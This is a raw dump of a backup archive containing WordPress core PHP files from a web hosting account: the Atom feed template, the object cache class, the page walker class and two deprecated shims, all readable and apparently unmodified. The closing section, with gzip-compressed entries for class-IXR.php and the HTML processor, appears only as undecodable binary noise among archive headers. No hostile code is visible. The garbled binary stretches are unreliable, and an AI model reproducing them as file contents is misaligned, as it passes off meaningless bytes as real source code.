	_deprecated_file( basename( __FILE__ ), '6.1.0', 'wp-includes/class-wpdb.php' );
}

/** wpdb class */
require_once __DIR__ . '/class-wpdb.php';
PKYO\�10/feed-atom.php.tarnu�[���home/homerdlh/public_html/wp-includes/feed-atom.php000064400000006061151442377020016414 0ustar00<?php
/**
 * Atom Feed Template for displaying Atom Posts feed.
 *
 * @package WordPress
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

header( 'Content-Type: ' . feed_content_type( 'atom' ) . '; charset=' . get_option( 'blog_charset' ), true );
$more = 1;

echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '"?' . '>';

/** This action is documented in wp-includes/feed-rss2.php */
do_action( 'rss_tag_pre', 'atom' );
?>
<feed
	xmlns="http://www.w3.org/2005/Atom"
	xmlns:thr="http://purl.org/syndication/thread/1.0"
	xml:lang="<?php bloginfo_rss( 'language' ); ?>"
	<?php
	/**
	 * Fires at end of the Atom feed root to add namespaces.
	 *
	 * @since 2.0.0
	 */
	do_action( 'atom_ns' );
	?>
>
	<title type="text"><?php wp_title_rss(); ?></title>
	<subtitle type="text"><?php bloginfo_rss( 'description' ); ?></subtitle>

	<updated><?php echo get_feed_build_date( 'Y-m-d\TH:i:s\Z' ); ?></updated>

	<link rel="alternate" type="<?php bloginfo_rss( 'html_type' ); ?>" href="<?php bloginfo_rss( 'url' ); ?>" />
	<id><?php bloginfo( 'atom_url' ); ?></id>
	<link rel="self" type="application/atom+xml" href="<?php self_link(); ?>" />

	<?php
	/**
	 * Fires just before the first Atom feed entry.
	 *
	 * @since 2.0.0
	 */
	do_action( 'atom_head' );

	while ( have_posts() ) :
		the_post();
		?>
	<entry>
		<author>
			<name><?php the_author(); ?></name>
			<?php
			$author_url = get_the_author_meta( 'url' );
			if ( ! empty( $author_url ) ) :
				?>
				<uri><?php the_author_meta( 'url' ); ?></uri>
				<?php
			endif;

			/**
			 * Fires at the end of each Atom feed author entry.
			 *
			 * @since 3.2.0
			 */
			do_action( 'atom_author' );
			?>
		</author>

		<title type="<?php html_type_rss(); ?>"><![CDATA[<?php the_title_rss(); ?>]]></title>
		<link rel="alternate" type="<?php bloginfo_rss( 'html_type' ); ?>" href="<?php the_permalink_rss(); ?>" />

		<id><?php the_guid(); ?></id>
		<updated><?php echo get_post_modified_time( 'Y-m-d\TH:i:s\Z', true ); ?></updated>
		<published><?php echo get_post_time( 'Y-m-d\TH:i:s\Z', true ); ?></published>
		<?php the_category_rss( 'atom' ); ?>

		<summary type="<?php html_type_rss(); ?>"><![CDATA[<?php the_excerpt_rss(); ?>]]></summary>

		<?php if ( ! get_option( 'rss_use_excerpt' ) ) : ?>
			<content type="<?php html_type_rss(); ?>" xml:base="<?php the_permalink_rss(); ?>"><![CDATA[<?php the_content_feed( 'atom' ); ?>]]></content>
		<?php endif; ?>

		<?php
		atom_enclosure();

		/**
		 * Fires at the end of each Atom feed item.
		 *
		 * @since 2.0.0
		 */
		do_action( 'atom_entry' );

		if ( get_comments_number() || comments_open() ) :
			?>
			<link rel="replies" type="<?php bloginfo_rss( 'html_type' ); ?>" href="<?php the_permalink_rss(); ?>#comments" thr:count="<?php echo get_comments_number(); ?>" />
			<link rel="replies" type="application/atom+xml" href="<?php echo esc_url( get_post_comments_feed_link( 0, 'atom' ) ); ?>" thr:count="<?php echo get_comments_number(); ?>" />
			<thr:total><?php echo get_comments_number(); ?></thr:total>
		<?php endif; ?>
	</entry>
	<?php endwhile; ?>
</feed>
PKYO\�MưLL 10/class-wp-object-cache.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-wp-object-cache.php000064400000042164151442376200020614 0ustar00<?php
/**
 * Object Cache API: WP_Object_Cache class
 *
 * @package WordPress
 * @subpackage Cache
 * @since 5.4.0
 */

/**
 * Core class that implements an object cache.
 *
 * The WordPress Object Cache is used to save on trips to the database. The
 * Object Cache stores all of the cache data to memory and makes the cache
 * contents available by using a key, which is used to name and later retrieve
 * the cache contents.
 *
 * The Object Cache can be replaced by other caching mechanisms by placing files
 * in the wp-content folder which is looked at in wp-settings. If that file
 * exists, then this file will not be included.
 *
 * @since 2.0.0
 */
#[AllowDynamicProperties]
class WP_Object_Cache {

	/**
	 * Holds the cached objects.
	 *
	 * @since 2.0.0
	 * @var array
	 */
	private $cache = array();

	/**
	 * The amount of times the cache data was already stored in the cache.
	 *
	 * @since 2.5.0
	 * @var int
	 */
	public $cache_hits = 0;

	/**
	 * Amount of times the cache did not have the request in cache.
	 *
	 * @since 2.0.0
	 * @var int
	 */
	public $cache_misses = 0;

	/**
	 * List of global cache groups.
	 *
	 * @since 3.0.0
	 * @var string[]
	 */
	protected $global_groups = array();

	/**
	 * The blog prefix to prepend to keys in non-global groups.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	private $blog_prefix;

	/**
	 * Holds the value of is_multisite().
	 *
	 * @since 3.5.0
	 * @var bool
	 */
	private $multisite;

	/**
	 * Sets up object properties.
	 *
	 * @since 2.0.8
	 */
	public function __construct() {
		$this->multisite   = is_multisite();
		$this->blog_prefix = $this->multisite ? get_current_blog_id() . ':' : '';
	}

	/**
	 * Makes private properties readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name Property to get.
	 * @return mixed Property.
	 */
	public function __get( $name ) {
		return $this->$name;
	}

	/**
	 * Makes private properties settable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name  Property to set.
	 * @param mixed  $value Property value.
	 */
	public function __set( $name, $value ) {
		$this->$name = $value;
	}

	/**
	 * Makes private properties checkable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $name ) {
		return isset( $this->$name );
	}

	/**
	 * Makes private properties un-settable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name Property to unset.
	 */
	public function __unset( $name ) {
		unset( $this->$name );
	}

	/**
	 * Serves as a utility function to determine whether a key is valid.
	 *
	 * @since 6.1.0
	 *
	 * @param int|string $key Cache key to check for validity.
	 * @return bool Whether the key is valid.
	 */
	protected function is_valid_key( $key ) {
		if ( is_int( $key ) ) {
			return true;
		}

		if ( is_string( $key ) && trim( $key ) !== '' ) {
			return true;
		}

		$type = gettype( $key );

		if ( ! function_exists( '__' ) ) {
			wp_load_translations_early();
		}

		$message = is_string( $key )
			? __( 'Cache key must not be an empty string.' )
			/* translators: %s: The type of the given cache key. */
			: sprintf( __( 'Cache key must be an integer or a non-empty string, %s given.' ), $type );

		_doing_it_wrong(
			sprintf( '%s::%s', __CLASS__, debug_backtrace( DEBUG_BACKTRACE_IGNORE_ARGS, 2 )[1]['function'] ),
			$message,
			'6.1.0'
		);

		return false;
	}

	/**
	 * Serves as a utility function to determine whether a key exists in the cache.
	 *
	 * @since 3.4.0
	 *
	 * @param int|string $key   Cache key to check for existence.
	 * @param string     $group Cache group for the key existence check.
	 * @return bool Whether the key exists in the cache for the given group.
	 */
	protected function _exists( $key, $group ) {
		return isset( $this->cache[ $group ] ) && ( isset( $this->cache[ $group ][ $key ] ) || array_key_exists( $key, $this->cache[ $group ] ) );
	}

	/**
	 * Adds data to the cache if it doesn't already exist.
	 *
	 * @since 2.0.0
	 *
	 * @uses WP_Object_Cache::_exists() Checks to see if the cache already has data.
	 * @uses WP_Object_Cache::set()     Sets the data after the checking the cache
	 *                                  contents existence.
	 *
	 * @param int|string $key    What to call the contents in the cache.
	 * @param mixed      $data   The contents to store in the cache.
	 * @param string     $group  Optional. Where to group the cache contents. Default 'default'.
	 * @param int        $expire Optional. When to expire the cache contents, in seconds.
	 *                           Default 0 (no expiration).
	 * @return bool True on success, false if cache key and group already exist.
	 */
	public function add( $key, $data, $group = 'default', $expire = 0 ) {
		if ( wp_suspend_cache_addition() ) {
			return false;
		}

		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		$id = $key;
		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$id = $this->blog_prefix . $key;
		}

		if ( $this->_exists( $id, $group ) ) {
			return false;
		}

		return $this->set( $key, $data, $group, (int) $expire );
	}

	/**
	 * Adds multiple values to the cache in one call.
	 *
	 * @since 6.0.0
	 *
	 * @param array  $data   Array of keys and values to be added.
	 * @param string $group  Optional. Where the cache contents are grouped. Default empty.
	 * @param int    $expire Optional. When to expire the cache contents, in seconds.
	 *                       Default 0 (no expiration).
	 * @return bool[] Array of return values, grouped by key. Each value is either
	 *                true on success, or false if cache key and group already exist.
	 */
	public function add_multiple( array $data, $group = '', $expire = 0 ) {
		$values = array();

		foreach ( $data as $key => $value ) {
			$values[ $key ] = $this->add( $key, $value, $group, $expire );
		}

		return $values;
	}

	/**
	 * Replaces the contents in the cache, if contents already exist.
	 *
	 * @since 2.0.0
	 *
	 * @see WP_Object_Cache::set()
	 *
	 * @param int|string $key    What to call the contents in the cache.
	 * @param mixed      $data   The contents to store in the cache.
	 * @param string     $group  Optional. Where to group the cache contents. Default 'default'.
	 * @param int        $expire Optional. When to expire the cache contents, in seconds.
	 *                           Default 0 (no expiration).
	 * @return bool True if contents were replaced, false if original value does not exist.
	 */
	public function replace( $key, $data, $group = 'default', $expire = 0 ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		$id = $key;
		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$id = $this->blog_prefix . $key;
		}

		if ( ! $this->_exists( $id, $group ) ) {
			return false;
		}

		return $this->set( $key, $data, $group, (int) $expire );
	}

	/**
	 * Sets the data contents into the cache.
	 *
	 * The cache contents are grouped by the $group parameter followed by the
	 * $key. This allows for duplicate IDs in unique groups. Therefore, naming of
	 * the group should be used with care and should follow normal function
	 * naming guidelines outside of core WordPress usage.
	 *
	 * The $expire parameter is not used, because the cache will automatically
	 * expire for each time a page is accessed and PHP finishes. The method is
	 * more for cache plugins which use files.
	 *
	 * @since 2.0.0
	 * @since 6.1.0 Returns false if cache key is invalid.
	 *
	 * @param int|string $key    What to call the contents in the cache.
	 * @param mixed      $data   The contents to store in the cache.
	 * @param string     $group  Optional. Where to group the cache contents. Default 'default'.
	 * @param int        $expire Optional. Not used.
	 * @return bool True if contents were set, false if key is invalid.
	 */
	public function set( $key, $data, $group = 'default', $expire = 0 ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$key = $this->blog_prefix . $key;
		}

		if ( is_object( $data ) ) {
			$data = clone $data;
		}

		$this->cache[ $group ][ $key ] = $data;
		return true;
	}

	/**
	 * Sets multiple values to the cache in one call.
	 *
	 * @since 6.0.0
	 *
	 * @param array  $data   Array of key and value to be set.
	 * @param string $group  Optional. Where the cache contents are grouped. Default empty.
	 * @param int    $expire Optional. When to expire the cache contents, in seconds.
	 *                       Default 0 (no expiration).
	 * @return bool[] Array of return values, grouped by key. Each value is always true.
	 */
	public function set_multiple( array $data, $group = '', $expire = 0 ) {
		$values = array();

		foreach ( $data as $key => $value ) {
			$values[ $key ] = $this->set( $key, $value, $group, $expire );
		}

		return $values;
	}

	/**
	 * Retrieves the cache contents, if it exists.
	 *
	 * The contents will be first attempted to be retrieved by searching by the
	 * key in the cache group. If the cache is hit (success) then the contents
	 * are returned.
	 *
	 * On failure, the number of cache misses will be incremented.
	 *
	 * @since 2.0.0
	 *
	 * @param int|string $key   The key under which the cache contents are stored.
	 * @param string     $group Optional. Where the cache contents are grouped. Default 'default'.
	 * @param bool       $force Optional. Unused. Whether to force an update of the local cache
	 *                          from the persistent cache. Default false.
	 * @param bool|null  $found Optional. Whether the key was found in the cache (passed by reference).
	 *                          Disambiguates a return of false, a storable value. Default null.
	 * @return mixed|false The cache contents on success, false on failure to retrieve contents.
	 */
	public function get( $key, $group = 'default', $force = false, &$found = null ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$key = $this->blog_prefix . $key;
		}

		if ( $this->_exists( $key, $group ) ) {
			$found             = true;
			$this->cache_hits += 1;
			if ( is_object( $this->cache[ $group ][ $key ] ) ) {
				return clone $this->cache[ $group ][ $key ];
			} else {
				return $this->cache[ $group ][ $key ];
			}
		}

		$found               = false;
		$this->cache_misses += 1;
		return false;
	}

	/**
	 * Retrieves multiple values from the cache in one call.
	 *
	 * @since 5.5.0
	 *
	 * @param array  $keys  Array of keys under which the cache contents are stored.
	 * @param string $group Optional. Where the cache contents are grouped. Default 'default'.
	 * @param bool   $force Optional. Whether to force an update of the local cache
	 *                      from the persistent cache. Default false.
	 * @return array Array of return values, grouped by key. Each value is either
	 *               the cache contents on success, or false on failure.
	 */
	public function get_multiple( $keys, $group = 'default', $force = false ) {
		$values = array();

		foreach ( $keys as $key ) {
			$values[ $key ] = $this->get( $key, $group, $force );
		}

		return $values;
	}

	/**
	 * Removes the contents of the cache key in the group.
	 *
	 * If the cache key does not exist in the group, then nothing will happen.
	 *
	 * @since 2.0.0
	 *
	 * @param int|string $key        What the contents in the cache are called.
	 * @param string     $group      Optional. Where the cache contents are grouped. Default 'default'.
	 * @param bool       $deprecated Optional. Unused. Default false.
	 * @return bool True on success, false if the contents were not deleted.
	 */
	public function delete( $key, $group = 'default', $deprecated = false ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$key = $this->blog_prefix . $key;
		}

		if ( ! $this->_exists( $key, $group ) ) {
			return false;
		}

		unset( $this->cache[ $group ][ $key ] );
		return true;
	}

	/**
	 * Deletes multiple values from the cache in one call.
	 *
	 * @since 6.0.0
	 *
	 * @param array  $keys  Array of keys to be deleted.
	 * @param string $group Optional. Where the cache contents are grouped. Default empty.
	 * @return bool[] Array of return values, grouped by key. Each value is either
	 *                true on success, or false if the contents were not deleted.
	 */
	public function delete_multiple( array $keys, $group = '' ) {
		$values = array();

		foreach ( $keys as $key ) {
			$values[ $key ] = $this->delete( $key, $group );
		}

		return $values;
	}

	/**
	 * Increments numeric cache item's value.
	 *
	 * @since 3.3.0
	 *
	 * @param int|string $key    The cache key to increment.
	 * @param int        $offset Optional. The amount by which to increment the item's value.
	 *                           Default 1.
	 * @param string     $group  Optional. The group the key is in. Default 'default'.
	 * @return int|false The item's new value on success, false on failure.
	 */
	public function incr( $key, $offset = 1, $group = 'default' ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$key = $this->blog_prefix . $key;
		}

		if ( ! $this->_exists( $key, $group ) ) {
			return false;
		}

		if ( ! is_numeric( $this->cache[ $group ][ $key ] ) ) {
			$this->cache[ $group ][ $key ] = 0;
		}

		$offset = (int) $offset;

		$this->cache[ $group ][ $key ] += $offset;

		if ( $this->cache[ $group ][ $key ] < 0 ) {
			$this->cache[ $group ][ $key ] = 0;
		}

		return $this->cache[ $group ][ $key ];
	}

	/**
	 * Decrements numeric cache item's value.
	 *
	 * @since 3.3.0
	 *
	 * @param int|string $key    The cache key to decrement.
	 * @param int        $offset Optional. The amount by which to decrement the item's value.
	 *                           Default 1.
	 * @param string     $group  Optional. The group the key is in. Default 'default'.
	 * @return int|false The item's new value on success, false on failure.
	 */
	public function decr( $key, $offset = 1, $group = 'default' ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$key = $this->blog_prefix . $key;
		}

		if ( ! $this->_exists( $key, $group ) ) {
			return false;
		}

		if ( ! is_numeric( $this->cache[ $group ][ $key ] ) ) {
			$this->cache[ $group ][ $key ] = 0;
		}

		$offset = (int) $offset;

		$this->cache[ $group ][ $key ] -= $offset;

		if ( $this->cache[ $group ][ $key ] < 0 ) {
			$this->cache[ $group ][ $key ] = 0;
		}

		return $this->cache[ $group ][ $key ];
	}

	/**
	 * Clears the object cache of all data.
	 *
	 * @since 2.0.0
	 *
	 * @return true Always returns true.
	 */
	public function flush() {
		$this->cache = array();

		return true;
	}

	/**
	 * Removes all cache items in a group.
	 *
	 * @since 6.1.0
	 *
	 * @param string $group Name of group to remove from cache.
	 * @return true Always returns true.
	 */
	public function flush_group( $group ) {
		unset( $this->cache[ $group ] );

		return true;
	}

	/**
	 * Sets the list of global cache groups.
	 *
	 * @since 3.0.0
	 *
	 * @param string|string[] $groups List of groups that are global.
	 */
	public function add_global_groups( $groups ) {
		$groups = (array) $groups;

		$groups              = array_fill_keys( $groups, true );
		$this->global_groups = array_merge( $this->global_groups, $groups );
	}

	/**
	 * Switches the internal blog ID.
	 *
	 * This changes the blog ID used to create keys in blog specific groups.
	 *
	 * @since 3.5.0
	 *
	 * @param int $blog_id Blog ID.
	 */
	public function switch_to_blog( $blog_id ) {
		$blog_id           = (int) $blog_id;
		$this->blog_prefix = $this->multisite ? $blog_id . ':' : '';
	}

	/**
	 * Resets cache keys.
	 *
	 * @since 3.0.0
	 *
	 * @deprecated 3.5.0 Use WP_Object_Cache::switch_to_blog()
	 * @see switch_to_blog()
	 */
	public function reset() {
		_deprecated_function( __FUNCTION__, '3.5.0', 'WP_Object_Cache::switch_to_blog()' );

		// Clear out non-global caches since the blog ID has changed.
		foreach ( array_keys( $this->cache ) as $group ) {
			if ( ! isset( $this->global_groups[ $group ] ) ) {
				unset( $this->cache[ $group ] );
			}
		}
	}

	/**
	 * Echoes the stats of the caching.
	 *
	 * Gives the cache hits, and cache misses. Also prints every cached group,
	 * key and the data.
	 *
	 * @since 2.0.0
	 */
	public function stats() {
		echo '<p>';
		echo "<strong>Cache Hits:</strong> {$this->cache_hits}<br />";
		echo "<strong>Cache Misses:</strong> {$this->cache_misses}<br />";
		echo '</p>';
		echo '<ul>';
		foreach ( $this->cache as $group => $cache ) {
			echo '<li><strong>Group:</strong> ' . esc_html( $group ) . ' - ( ' . number_format( strlen( serialize( $cache ) ) / KB_IN_BYTES, 2 ) . 'k )</li>';
		}
		echo '</ul>';
	}
}
PKYO\��310/class.wp-styles.php.tarnu�[���home/homerdlh/public_html/wp-includes/class.wp-styles.php000064400000000522151442376040017623 0ustar00<?php
/**
 * Dependencies API: WP_Styles class
 *
 * This file is deprecated, use 'wp-includes/class-wp-styles.php' instead.
 *
 * @deprecated 6.1.0
 * @package WordPress
 */

_deprecated_file( basename( __FILE__ ), '6.1.0', WPINC . '/class-wp-styles.php' );

/** WP_Styles class */
require_once ABSPATH . WPINC . '/class-wp-styles.php';
PKYO\`C�<$$10/class-walker-page.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-walker-page.php000064400000016674151442400120020054 0ustar00<?php
/**
 * Post API: Walker_Page class
 *
 * @package WordPress
 * @subpackage Template
 * @since 4.4.0
 */

/**
 * Core walker class used to create an HTML list of pages.
 *
 * @since 2.1.0
 *
 * @see Walker
 */
class Walker_Page extends Walker {

	/**
	 * What the class handles.
	 *
	 * @since 2.1.0
	 * @var string
	 *
	 * @see Walker::$tree_type
	 */
	public $tree_type = 'page';

	/**
	 * Database fields to use.
	 *
	 * @since 2.1.0
	 * @var string[]
	 *
	 * @see Walker::$db_fields
	 * @todo Decouple this.
	 */
	public $db_fields = array(
		'parent' => 'post_parent',
		'id'     => 'ID',
	);

	/**
	 * Outputs the beginning of the current level in the tree before elements are output.
	 *
	 * @since 2.1.0
	 *
	 * @see Walker::start_lvl()
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Optional. Depth of page. Used for padding. Default 0.
	 * @param array  $args   Optional. Arguments for outputting the next level.
	 *                       Default empty array.
	 */
	public function start_lvl( &$output, $depth = 0, $args = array() ) {
		if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
			$t = "\t";
			$n = "\n";
		} else {
			$t = '';
			$n = '';
		}
		$indent  = str_repeat( $t, $depth );
		$output .= "{$n}{$indent}<ul class='children'>{$n}";
	}

	/**
	 * Outputs the end of the current level in the tree after elements are output.
	 *
	 * @since 2.1.0
	 *
	 * @see Walker::end_lvl()
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Optional. Depth of page. Used for padding. Default 0.
	 * @param array  $args   Optional. Arguments for outputting the end of the current level.
	 *                       Default empty array.
	 */
	public function end_lvl( &$output, $depth = 0, $args = array() ) {
		if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
			$t = "\t";
			$n = "\n";
		} else {
			$t = '';
			$n = '';
		}
		$indent  = str_repeat( $t, $depth );
		$output .= "{$indent}</ul>{$n}";
	}

	/**
	 * Outputs the beginning of the current element in the tree.
	 *
	 * @see Walker::start_el()
	 * @since 2.1.0
	 * @since 5.9.0 Renamed `$page` to `$data_object` and `$current_page` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 *
	 * @param string  $output            Used to append additional content. Passed by reference.
	 * @param WP_Post $data_object       Page data object.
	 * @param int     $depth             Optional. Depth of page. Used for padding. Default 0.
	 * @param array   $args              Optional. Array of arguments. Default empty array.
	 * @param int     $current_object_id Optional. ID of the current page. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) {
		// Restores the more descriptive, specific name for use within this method.
		$page = $data_object;

		$current_page_id = $current_object_id;

		if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
			$t = "\t";
			$n = "\n";
		} else {
			$t = '';
			$n = '';
		}
		if ( $depth ) {
			$indent = str_repeat( $t, $depth );
		} else {
			$indent = '';
		}

		$css_class = array( 'page_item', 'page-item-' . $page->ID );

		if ( isset( $args['pages_with_children'][ $page->ID ] ) ) {
			$css_class[] = 'page_item_has_children';
		}

		if ( ! empty( $current_page_id ) ) {
			$_current_page = get_post( $current_page_id );

			if ( $_current_page && in_array( $page->ID, $_current_page->ancestors, true ) ) {
				$css_class[] = 'current_page_ancestor';
			}

			if ( $page->ID === (int) $current_page_id ) {
				$css_class[] = 'current_page_item';
			} elseif ( $_current_page && $page->ID === $_current_page->post_parent ) {
				$css_class[] = 'current_page_parent';
			}
		} elseif ( (int) get_option( 'page_for_posts' ) === $page->ID ) {
			$css_class[] = 'current_page_parent';
		}

		/**
		 * Filters the list of CSS classes to include with each page item in the list.
		 *
		 * @since 2.8.0
		 *
		 * @see wp_list_pages()
		 *
		 * @param string[] $css_class       An array of CSS classes to be applied to each list item.
		 * @param WP_Post  $page            Page data object.
		 * @param int      $depth           Depth of page, used for padding.
		 * @param array    $args            An array of arguments.
		 * @param int      $current_page_id ID of the current page.
		 */
		$css_classes = implode( ' ', apply_filters( 'page_css_class', $css_class, $page, $depth, $args, $current_page_id ) );
		$css_classes = $css_classes ? ' class="' . esc_attr( $css_classes ) . '"' : '';

		if ( '' === $page->post_title ) {
			/* translators: %d: ID of a post. */
			$page->post_title = sprintf( __( '#%d (no title)' ), $page->ID );
		}

		$args['link_before'] = empty( $args['link_before'] ) ? '' : $args['link_before'];
		$args['link_after']  = empty( $args['link_after'] ) ? '' : $args['link_after'];

		$atts                 = array();
		$atts['href']         = get_permalink( $page->ID );
		$atts['aria-current'] = ( $page->ID === (int) $current_page_id ) ? 'page' : '';

		/**
		 * Filters the HTML attributes applied to a page menu item's anchor element.
		 *
		 * @since 4.8.0
		 *
		 * @param array $atts {
		 *     The HTML attributes applied to the menu item's `<a>` element, empty strings are ignored.
		 *
		 *     @type string $href         The href attribute.
		 *     @type string $aria-current The aria-current attribute.
		 * }
		 * @param WP_Post $page            Page data object.
		 * @param int     $depth           Depth of page, used for padding.
		 * @param array   $args            An array of arguments.
		 * @param int     $current_page_id ID of the current page.
		 */
		$atts = apply_filters( 'page_menu_link_attributes', $atts, $page, $depth, $args, $current_page_id );

		$attributes = '';
		foreach ( $atts as $attr => $value ) {
			if ( is_scalar( $value ) && '' !== $value && false !== $value ) {
				$value       = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
				$attributes .= ' ' . $attr . '="' . $value . '"';
			}
		}

		$output .= $indent . sprintf(
			'<li%s><a%s>%s%s%s</a>',
			$css_classes,
			$attributes,
			$args['link_before'],
			/** This filter is documented in wp-includes/post-template.php */
			apply_filters( 'the_title', $page->post_title, $page->ID ),
			$args['link_after']
		);

		if ( ! empty( $args['show_date'] ) ) {
			if ( 'modified' === $args['show_date'] ) {
				$time = $page->post_modified;
			} else {
				$time = $page->post_date;
			}

			$date_format = empty( $args['date_format'] ) ? '' : $args['date_format'];
			$output     .= ' ' . mysql2date( $date_format, $time );
		}
	}

	/**
	 * Outputs the end of the current element in the tree.
	 *
	 * @since 2.1.0
	 * @since 5.9.0 Renamed `$page` to `$data_object` to match parent class for PHP 8 named parameter support.
	 *
	 * @see Walker::end_el()
	 *
	 * @param string  $output      Used to append additional content. Passed by reference.
	 * @param WP_Post $data_object Page data object. Not used.
	 * @param int     $depth       Optional. Depth of page. Default 0 (unused).
	 * @param array   $args        Optional. Array of arguments. Default empty array.
	 */
	public function end_el( &$output, $data_object, $depth = 0, $args = array() ) {
		if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
			$t = "\t";
			$n = "\n";
		} else {
			$t = '';
			$n = '';
		}
		$output .= "</li>{$n}";
	}
}
PKYO\Y/�^10/class-IXR.php.php.tar.gznu�[�����V�o�6��W����-;u����%O���%:&*�*%����;���
�����\�X��#��̹��*�6V٬2�|��yfm˞(��Iye%Y\U=���M��ke�r=���r5��^
G��7ח׸>�~9��Wg:A�����7r�����ݻ�l0� �p�E��B����3<�R�zF#m���Y��M
��\���^�����e`l*P��ꉛu�
y*�Z��v( .Rh*��J6*�fe%
Lk��[Qo@*�+�ZG�e*�"�u�.ĊC�U.ꚧP*�$R|�7q��8��2��#$�H�v��S��-.����*��=�D�h�ӂ��1b�Q�|Ҫ=��E»&��� �x:�q�"�&L�[L�.�
Lx��֙6�,-��IX`We)�I��M���
��J�Yu �4L>.c_�υ��"ι�t<?���4M8F�zI��Ŕ�ϰ�zz�
	�HQ�� �\�v�w�qa���\�[�6V;ZP�<у��BO��#U솫��*�O4�Xp-�>���ą���`���$�I�$d`�.��QH��(���63��5:�_y���1B�әG1&m?���>�o�R��� �Ni�fQ���"/xBpS:|��ԣ�Ҥ������b>fvQg�١�4�������9�M���#�����y/������1A���#�|X�KC�D��Ó�,"J�lF�:y X�.�����s�C=��Ծ�"���3�T�GN�|�"�#wA��	�C�G�f��3��$��m��(�Z��xΨ�	�,���,,�"Dj��k�|S3��KCk>L;���T��_Ú��`Ȟ�aJ$3��z�'w�#�C�A�-(#�=ʴ�%_�K�v��A���h����@o�v�ƿ�F�1�9�����������#�׉y��;�ð��MG���7W	�o�`Y��/v�~"��ĕރz��7���9�xY�|�'�`��w��f�D����'��D�v�&�%ʺ:Nh��g�L,Ps+��&�Z�x��5TY⢹+�R=Z�Qe���׾�'3�X��e�+��2�xN*���s�#�p�ふO�����M���~�|�
���!.|���(��A�OR��C3�=���O������r��WqůG':'��䛜�&�-β��xU��ʕ���&��f1��4/�
7׉�ڜW���)Κ6���*��*��*�&����PKYO\حHG�G�)10/class-wp-html-processor.php.php.tar.gznu�[������v׵(z^��(�:����N6%�"!	��B�vr_�Ɋ�*��5�~�_p�}=�����٭�jU����b2d����k��u2����Ip�5�^�^�:�nƍx�L�Q��4�q���iڀ���$�Ei�L6���Q��~���+�����o�����_|���?>~����˗��r���Y8�!��X���o���o����?�:�A��p��?���:yx���q�{^E�ɤ<������_n$��(
��j�1��u_
��L"�LӨdI�����6��4
�Q?&���~����t��M�I��
r
5��D�J
���7�ְR���t<N&<�^�Q$�A&�|�� za'�:���FA�Ѩ�LGY4����,kN^O�u|(� �Q�3��o�����a���b����±��}�M�����7ф�,ݬ��AD��v�+s��A���>�$����C��Y6�/��c+��7qx�,�J�zǬy�!�w8F�	��rʣ�K��`��Hms�-��_���\��00�(Jq�i�4�L{�t���꧴���ăA�D������$�q��K�&8�>~�P6�ɳэ���m0����$�����ۣ4�d�4,]?8J�ƪgN�����]��+5��B��a�&�
	�t��B�c�^|�ip��Ք?��~jù�D���p��I�hl�>�b3�
q�����2č(�N���up�L�G�iVD@���f���b��%�ݵqa�B��b����M؜N�ycp���r������p8Df9A�@3��Y��mo����$�B����GO��2xhAi쌢��. �C��$�}��:�{���"��v��{��k������줅��^ւG�_��4;a�ߥ�pPc���Xk����#�Cn� [����n�#m�5�\�Q
""���$��$���D��j��Û�:�\�lp��Y��)�zA��%���~(Ha��fA5ϡ\EY��ԇ��D&�DH�y�DV�@
